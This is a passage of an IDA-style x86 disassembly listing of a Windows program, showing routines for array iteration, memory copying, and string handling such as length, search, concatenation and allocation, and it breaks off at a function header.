; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4097D0	proc near		; CODE XREF: sub_40170Dj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		cmp	esi, ebx
		mov	edi, ecx
		jz	short loc_4097F0


loc_4097E1:				; CODE XREF: sub_4097D0+1Ej
		push	esi
		mov	ecx, edi
		call	sub_402072
		add	esi, 4
		cmp	esi, ebx
		jnz	short loc_4097E1


loc_4097F0:				; CODE XREF: sub_4097D0+Fj
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_4097D0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_409810	proc near		; CODE XREF: sub_401294j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_4367E2
sub_409810	endp

; ---------------------------------------------------------------------------
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409830	proc near		; CODE XREF: sub_402072j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	j_nullsub_7
		pop	ecx
		retn	4
sub_409830	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409850	proc near		; CODE XREF: sub_4016D6j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	ebp
		mov	ebp, [esp+8+arg_4]
		push	esi
		mov	esi, [esp+0Ch+arg_0]
		mov	ebx, ecx
		cmp	esi, ebp
		jz	short loc_409882
		push	edi
		mov	edi, [esp+10h+arg_8]


loc_409866:				; CODE XREF: sub_409850+27j
		push	esi
		push	edi
		mov	ecx, ebx
		call	sub_4015AA
		add	esi, 4
		add	edi, 4
		cmp	esi, ebp
		jnz	short loc_409866
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------


loc_409882:				; CODE XREF: sub_409850+Fj
		mov	eax, [esp+0Ch+arg_8]
		pop	esi
		pop	ebp
		pop	ebx
		retn	0Ch
sub_409850	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4098A0	proc near		; CODE XREF: sub_401177j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebp
		push	edi
		mov	edi, [esp+8+arg_4]
		mov	ebp, ecx
		test	edi, edi
		jbe	short loc_4098C7
		push	ebx
		mov	ebx, [esp+0Ch+arg_8]
		push	esi
		mov	esi, [esp+10h+arg_0]


loc_4098B6:				; CODE XREF: sub_4098A0+23j
		push	ebx
		push	esi
		mov	ecx, ebp
		call	sub_4015AA
		add	esi, 4
		dec	edi
		jnz	short loc_4098B6
		pop	esi
		pop	ebx


loc_4098C7:				; CODE XREF: sub_4098A0+Aj
		pop	edi
		pop	ebp
		retn	0Ch
sub_4098A0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4098E0	proc near		; CODE XREF: sub_401CADj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_40203B
sub_4098E0	endp

; ---------------------------------------------------------------------------
		add	esp, 8
		retn	8
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409910	proc near		; CODE XREF: sub_4015AAj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_401145
		add	esp, 8
		retn	8
sub_409910	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409940	proc near		; CODE XREF: sub_401F96j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		cmp	eax, ecx
		jz	short locret_40995D
		mov	edx, [esp+arg_8]
		push	esi


loc_409951:				; CODE XREF: sub_409940+1Aj
		mov	esi, [edx]
		mov	[eax], esi
		add	eax, 4
		cmp	eax, ecx
		jnz	short loc_409951
		pop	esi

locret_40995D:				; CODE XREF: sub_409940+Aj
		retn
sub_409940	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409970	proc near		; CODE XREF: sub_401CCBj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		cmp	edx, ecx
		jz	short loc_409992
		mov	eax, [esp+arg_8]
		push	esi


loc_409981:				; CODE XREF: sub_409970+1Ej
		mov	esi, [ecx-4]
		sub	ecx, 4
		sub	eax, 4
		cmp	ecx, edx
		mov	[eax], esi
		jnz	short loc_409981
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_409992:				; CODE XREF: sub_409970+Aj
		mov	eax, [esp+arg_8]
		retn
sub_409970	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_7. PRESS KEYPAD "+" TO EXPAND]
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4099D0	proc near		; CODE XREF: sub_40203Bj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		jge	short loc_4099DA
		xor	eax, eax


loc_4099DA:				; CODE XREF: sub_4099D0+6j
		shl	eax, 2
		push	eax
		call	sub_4367FA
sub_4099D0	endp

; ---------------------------------------------------------------------------
		add	esp, 4
		retn
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409A00	proc near		; CODE XREF: sub_401145j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	eax
		push	4
		call	sub_4011CC
		add	esp, 8
		test	eax, eax
		jz	short locret_409A1B
		mov	ecx, [esp+arg_4]
		mov	edx, [ecx]
		mov	[eax], edx

locret_409A1B:				; CODE XREF: sub_409A00+11j
		retn
sub_409A00	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409A30	proc near		; CODE XREF: sub_401979j

arg_0		= dword	ptr  4

		mov	al, byte_44719A
		push	esi
		test	al, al
		mov	esi, ecx
		jz	short loc_409A66
		push	edi
		nop
		call	near ptr 28115A0h
		mov	edi, dword_50F8C4
		push	0FFFFFFF5h
		call	edi
		push	0FFFFFFF4h
		mov	[esi], eax
		call	edi
		mov	[esi+4], eax
		mov	eax, [esp+8+arg_0]
		mov	byte ptr [esi+8], 1
		mov	[esi+9], eax
		pop	edi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_409A66:				; CODE XREF: sub_409A30+Aj
		mov	ecx, [esp+4+arg_0]
		mov	byte ptr [esi+8], 1
		mov	[esi+9], ecx
		pop	esi
		retn	4
sub_409A30	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409AA0	proc near		; CODE XREF: sub_401CDAj
		mov	al, byte_44719A
		push	esi
		test	al, al
		mov	esi, ecx
		jz	short loc_409ABF
		nop
		call	near ptr 28119E3h
		mov	dword ptr [esi], 0FFFFFFFFh
		mov	dword ptr [esi+4], 0FFFFFFFFh


loc_409ABF:				; CODE XREF: sub_409AA0+Aj
		mov	byte ptr [esi+8], 0
		pop	esi
		retn
sub_409AA0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409AE0	proc near		; CODE XREF: sub_401424j
		mov	eax, ecx
		xor	ecx, ecx
		mov	dword ptr [eax], offset	off_43E010
		mov	[eax+9], ecx
		mov	[eax+11h], ecx
		mov	[eax+4], cl
		mov	[eax+0Dh], ecx
		retn
sub_409AE0	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_409B10:				; CODE XREF: ___:00402063j
					; ___:loc_402171j
		push	esi
		mov	esi, ecx
		call	sub_401226
		test	byte ptr [esp+8], 1
		jz	short loc_409B28
		push	esi
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_409B28:				; CODE XREF: ___:00409B1Dj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409B40	proc near		; CODE XREF: sub_401861j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	ebx
		push	esi
		mov	esi, ecx
		xor	ebx, ebx
		push	eax
		mov	dword ptr [esi], offset	off_43E010
		mov	[esi+9], ebx
		mov	[esi+11h], ebx
		call	sub_4015D7
		mov	[esi+4], bl
		mov	[esi+0Dh], ebx
		mov	eax, esi
		pop	esi
		pop	ebx
		retn	4
sub_409B40	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409B80	proc near		; CODE XREF: sub_4014C9j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	ebx
		push	esi
		mov	esi, ecx
		xor	ebx, ebx
		push	eax
		mov	dword ptr [esi], offset	off_43E010
		mov	[esi+9], ebx
		mov	[esi+11h], ebx
		call	sub_401FBE
		mov	[esi+4], bl
		mov	[esi+0Dh], ebx
		mov	eax, esi
		pop	esi
		pop	ebx
		retn	4
sub_409B80	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409BC0	proc near		; CODE XREF: sub_4020F4j

var_10		= byte ptr -10h
arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		sub	esp, 10h
		push	ebx
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+1Ch+var_10]
		push	offset dword_4437F4
		push	ecx
		mov	dword ptr [esi], offset	off_43E010
		call	sub_5EDAB2
		nop
		add	esp, 0Ch
		lea	edx, [esp+18h+var_10]
		xor	ebx, ebx
		mov	ecx, esi
		push	edx
		mov	[esi+9], ebx
		mov	[esi+11h], ebx
		call	sub_4015D7
		mov	[esi+4], bl
		mov	[esi+0Dh], ebx
		mov	eax, esi
		pop	esi
		pop	ebx
		add	esp, 10h
		retn	4
sub_409BC0	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409C30	proc near		; CODE XREF: sub_401226j
		push	esi
		mov	esi, ecx
		push	edi
		xor	edi, edi
		mov	eax, [esi+9]
		mov	dword ptr [esi], offset	off_43E010
		cmp	eax, edi
		jz	short loc_409C4C
		push	eax
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_409C4C:				; CODE XREF: sub_409C30+11j
		mov	eax, [esi+0Dh]
		mov	[esi+9], edi
		cmp	eax, edi
		jz	short loc_409C5F
		push	eax
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_409C5F:				; CODE XREF: sub_409C30+24j
		mov	[esi+0Dh], edi
		mov	[esi+11h], edi
		pop	edi
		pop	esi
		retn
sub_409C30	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409C80	proc near		; CODE XREF: sub_4015D7j

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]
		mov	esi, ecx
		test	edi, edi
		jz	short loc_409CEA
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		mov	eax, [esi+9]
		not	ecx
		dec	ecx
		test	eax, eax
		mov	ebp, ecx
		jz	short loc_409CAA
		push	eax
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_409CAA:				; CODE XREF: sub_409C80+1Fj
		lea	ebx, [ebp+2]
		push	ebx
		call	sub_4367FA
; ---------------------------------------------------------------------------
		db 8Bh
		dd 4C483F8h, 7E89FF85h,	8B2B7409h, 8BC033CBh, 116E89D1h
		dd 0F302E9C1h, 83CA8BABh, 0AAF303E1h, 8B11468Bh, 8B14244Ch
		dd 51500956h, 0DDAAE852h, 83907783h
		db 0C4h, 0Ch
; ---------------------------------------------------------------------------


loc_409CEA:				; CODE XREF: sub_409C80+Cj
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn	4
sub_409C80	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409D20	proc near		; CODE XREF: sub_401FBEj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		mov	ecx, [esp+4+arg_0]
		call	sub_401389
		push	eax
		mov	ecx, esi
		call	sub_4015D7
		pop	esi
		retn	4
sub_409D20	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_409D50:				; CODE XREF: ___:00401A46j
		mov	eax, [esp+4]
		sub	esp, 10h
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+8]
		push	offset dword_4437F4
		push	ecx
		nop
		call	sub_5EDAB2
		add	esp, 0Ch
		lea	edx, [esp+4]
		mov	ecx, esi
		push	edx
		call	sub_4015D7
		pop	esi
		add	esp, 10h
		retn	4
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409DA0	proc near		; CODE XREF: sub_401A9Bj

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]
		mov	ebx, ecx
		test	edi, edi
		jz	loc_409E32
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		mov	edi, [ebx+11h]
		not	ecx
		dec	ecx
		mov	esi, ecx
		add	esi, edi
		lea	eax, [esi+1]
		push	eax
		call	sub_4367FA
; ---------------------------------------------------------------------------
		mov	edi, [ebx+9]
		add	esp, 4
		test	edi, edi
		mov	ebp, eax
		jz	short loc_409E32
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		mov	[ebx+11h], esi
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	edx, ecx
		mov	esi, edi
		mov	edi, ebp
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	edi, [esp+10h+arg_0]
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	esi, edi
		mov	edx, ecx
		mov	edi, ebp
		or	ecx, 0FFFFFFFFh
		repne scasb
		mov	ecx, edx
		dec	edi
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	eax, [ebx+9]
		test	eax, eax
		jz	short loc_409E2F
		push	eax
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_409E2F:				; CODE XREF: sub_409DA0+84j
		mov	[ebx+9], ebp


loc_409E32:				; CODE XREF: sub_409DA0+Cj
					; sub_409DA0+36j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn	4
sub_409DA0	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409E70	proc near		; CODE XREF: sub_4016BDj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		mov	ecx, [esp+4+arg_0]
		call	sub_401389
		push	eax
		mov	ecx, esi
		call	sub_401A9B
		pop	esi
		retn	4
sub_409E70	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409EA0	proc near		; CODE XREF: sub_401140j

var_10		= byte ptr -10h
arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		sub	esp, 10h
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+18h+var_10]
		push	offset dword_4437F4
		push	ecx
		call	sub_5EDAB2
		nop
		add	esp, 0Ch
		lea	edx, [esp+14h+var_10]
		mov	ecx, esi
		push	edx
		call	sub_401A9B
		pop	esi
		add	esp, 10h
		retn	4
sub_409EA0	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409EF0	proc near		; CODE XREF: sub_4012EEj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jnz	short loc_409F07
		mov	edx, [ecx+9]
		xor	eax, eax
		test	edx, edx
		setnz	al
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_409F07:				; CODE XREF: sub_409EF0+7j
		mov	eax, [ecx+9]
		push	ebx


loc_409F0B:				; CODE XREF: sub_409EF0+3Dj
		mov	dl, [eax]
		mov	bl, [esi]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_409F36
		test	cl, cl
		jz	short loc_409F2F
		mov	dl, [eax+1]
		mov	bl, [esi+1]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_409F36
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_409F0B


loc_409F2F:				; CODE XREF: sub_409EF0+27j
		pop	ebx
		xor	eax, eax
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_409F36:				; CODE XREF: sub_409EF0+23j
					; sub_409EF0+33j
		sbb	eax, eax
		pop	ebx
		sbb	eax, 0FFFFFFFFh
		pop	esi
		retn	4
sub_409EF0	endp

; ---------------------------------------------------------------------------
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409F60	proc near		; CODE XREF: sub_401B72j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		mov	ecx, [esp+4+arg_0]
		call	sub_401389
		push	eax
		mov	ecx, esi
		call	sub_4012EE
		pop	esi
		retn	4
sub_409F60	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409F90	proc near		; CODE XREF: sub_401500j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		jnz	short loc_409FA3
		mov	edx, [ecx+9]
		test	edx, edx
		setnz	al
		retn	4
; ---------------------------------------------------------------------------


loc_409FA3:				; CODE XREF: sub_409F90+6j
		push	eax
		mov	eax, [ecx+9]
		push	eax
		nop
		call	near ptr 77C4624Eh
		add	esp, 8
		retn	4
sub_409F90	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409FD0	proc near		; CODE XREF: sub_4021ADj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		mov	ecx, [esp+4+arg_0]
		call	sub_401389
		push	eax
		mov	ecx, esi
		call	sub_4012EE
		pop	esi
		retn	4
sub_409FD0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A000	proc near		; CODE XREF: sub_401CBCj
		push	esi
		mov	esi, ecx
		mov	eax, [esi+9]
		test	eax, eax
		jz	short loc_40A013
		push	eax
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_40A013:				; CODE XREF: sub_40A000+8j
		mov	dword ptr [esi+9], 0
		pop	esi
		retn
sub_40A000	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A030	proc near		; CODE XREF: sub_40102Dj

arg_2000	= dword	ptr  2004h
arg_2004	= dword	ptr  2008h
arg_2008	= byte ptr  200Ch

		mov	eax, 2000h
		call	sub_436840
		mov	eax, [esp+arg_2004]
		test	eax, eax
		jz	short loc_40A072
		lea	ecx, [esp+arg_2008]
		lea	edx, [esp+0]
		push	ecx
		push	eax
		push	2000h
		push	edx
		nop
		call	near ptr 77C3FF8Ah
		mov	ecx, [esp+10h+arg_2000]
		add	esp, 10h
		lea	eax, [esp+0]
		push	eax
		call	sub_4015D7


loc_40A072:				; CODE XREF: sub_40A030+13j
		add	esp, 2000h
		retn
sub_40A030	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A0A0	proc near		; CODE XREF: sub_401D20j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_401316
		retn	4
sub_40A0A0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A0C0	proc near		; CODE XREF: sub_401316j

arg_0		= byte ptr  4

		push	ebx
		mov	ebx, dword_50FAE0
		push	esi
		push	edi
		movsx	edi, [esp+0Ch+arg_0]
		mov	esi, ecx
		push	edi
		mov	eax, [esi+9]
		push	eax
		call	ebx	; strchr
		add	esp, 8
		test	eax, eax
		jnz	short loc_40A0E4
		pop	edi
		pop	esi
		pop	ebx
		retn	8
; ---------------------------------------------------------------------------


loc_40A0E4:				; CODE XREF: sub_40A0C0+1Cj
		mov	ecx, [esi+9]
		push	edi
		push	ecx
		call	ebx	; strchr
		mov	edi, [esi+9]
		add	esp, 8
		mov	edx, 1
		sub	edx, edi
		pop	edi
		pop	esi
		add	eax, edx
		pop	ebx
		retn	8
sub_40A0C0	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A110	proc near		; CODE XREF: sub_4018A2j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_401807
		retn	4
sub_40A110	endp

; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A130	proc near		; CODE XREF: sub_401807j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	esi
		mov	esi, ecx
		push	eax
		mov	ecx, [esp+8+arg_0]
		call	sub_401389
		push	eax
		mov	ecx, esi
		call	sub_402117
		pop	esi
		retn	8
sub_40A130	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A160	proc near		; CODE XREF: sub_4013E3j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_402117
		retn	4
sub_40A160	endp

; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A180	proc near		; CODE XREF: sub_402117j

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		mov	edi, [esp+0Ch+arg_0]
		test	edi, edi
		mov	esi, ecx
		jnz	short loc_40A195
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		retn	8
; ---------------------------------------------------------------------------


loc_40A195:				; CODE XREF: sub_40A180+Bj
		mov	eax, [esi+9]
		mov	ebx, dword_50FAF8
		push	edi
		push	eax
		call	ebx	; strstr
		add	esp, 8
		test	eax, eax
		jnz	short loc_40A1AF
		pop	edi
		pop	esi
		pop	ebx
		retn	8
; ---------------------------------------------------------------------------


loc_40A1AF:				; CODE XREF: sub_40A180+27j
		mov	ecx, [esi+9]
		push	edi
		push	ecx
		call	ebx	; strstr
		mov	edi, [esi+9]
		add	esp, 8
		mov	edx, 1
		sub	edx, edi
		pop	edi
		pop	esi
		add	eax, edx
		pop	ebx
		retn	8
sub_40A180	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A1F0	proc near		; CODE XREF: sub_401C5Dj

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		test	edi, edi
		jnz	short loc_40A203
		pop	edi
		xor	eax, eax
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_40A203:				; CODE XREF: sub_40A1F0+Aj
		mov	eax, [esi+9]
		mov	[esi+11h], edi
		test	eax, eax
		jz	short loc_40A216
		push	eax
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_40A216:				; CODE XREF: sub_40A1F0+1Bj
		push	ebx
		lea	ebx, [edi+1]
		push	ebx
		call	sub_4367FA
sub_40A1F0	endp

; ---------------------------------------------------------------------------
		mov	ecx, ebx
		mov	edi, eax
		mov	edx, ecx
		xor	eax, eax
		shr	ecx, 2
		mov	[esi+9], edi
		add	esp, 4
		rep stosd
		mov	ecx, edx
		pop	ebx
		and	ecx, 3
		rep stosb
		mov	eax, [esi+9]
		pop	edi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A270	proc near		; CODE XREF: sub_4013D9j
		mov	eax, [ecx+11h]
		retn
sub_40A270	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A290	proc near		; CODE XREF: sub_4012B2j

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_8		= dword	ptr  0Ch

		push	0FFFFFFFFh
		push	offset SEH_40A290
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 20h
		push	ebp
		mov	ebp, [esp+30h+arg_8]
		push	esi
		xor	esi, esi
		cmp	ebp, 1
		mov	[esp+34h+var_2C], ecx
		mov	[esp+34h+var_28], esi
		jge	short loc_40A2E2
		mov	esi, [esp+34h+arg_0]
		push	offset byte_446F70
		mov	ecx, esi
		call	sub_401861
		mov	eax, esi
		pop	esi
		pop	ebp
		mov	ecx, [esp+2Ch+var_C]
		mov	large fs:0, ecx
		add	esp, 2Ch
		retn	0Ch
; ---------------------------------------------------------------------------


loc_40A2E2:				; CODE XREF: sub_40A290+2Bj
		push	ebx
		push	edi
		lea	ecx, [esp+3Ch+var_24]
		call	sub_401424
		mov	[esp+3Ch+var_4], esi
		lea	esi, [ebp+1]
		push	esi
		call	sub_4367FA
sub_40A290	endp

; ---------------------------------------------------------------------------
		mov	ecx, esi
		mov	ebx, eax
		mov	edx, ecx
		xor	eax, eax
		mov	edi, ebx
		add	esp, 4
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		mov	edx, [esp+44h]
		and	ecx, 3
		push	ebx
		rep stosb
		mov	eax, [esp+14h]
		mov	ecx, ebp
		mov	edi, ebx
		mov	esi, [eax+9]
		add	esi, edx
		mov	edx, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		lea	ecx, [esp+1Ch]
		call	sub_4015D7
		push	ebx
		call	sub_4367E2
; ---------------------------------------------------------------------------
		mov	esi, [esp+44h]
		add	esp, 4
		lea	eax, [esp+18h]
		mov	ecx, esi
		push	eax
		call	sub_4014C9
		lea	ecx, [esp+18h]
		call	sub_401226
		mov	ecx, [esp+30h]
		pop	edi
		mov	eax, esi
		pop	ebx
		pop	esi
		pop	ebp
		mov	large fs:0, ecx
		add	esp, 2Ch
		retn	0Ch
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A3C0	proc near		; CODE XREF: sub_401E2Ej

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ecx
		push	esi
		push	edi
		mov	esi, ecx
		mov	[esp+0Ch+var_4], 0
		call	sub_4013D9
		mov	ecx, [esp+0Ch+arg_4]
		mov	edi, [esp+0Ch+arg_0]
		sub	eax, ecx
		push	eax
		push	ecx
		push	edi
		mov	ecx, esi
		call	sub_4012B2
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ecx
		retn	8
sub_40A3C0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40A400:				; CODE XREF: ___:0040193Dj
		push	ecx
		push	esi
		mov	esi, [esp+0Ch]
		push	1
		mov	ecx, esi
		mov	dword ptr [esp+8], 0
		call	sub_4020F4
		mov	eax, esi
		pop	esi
		pop	ecx
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A430	proc near		; CODE XREF: sub_4011EAj

var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= byte ptr -34h
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
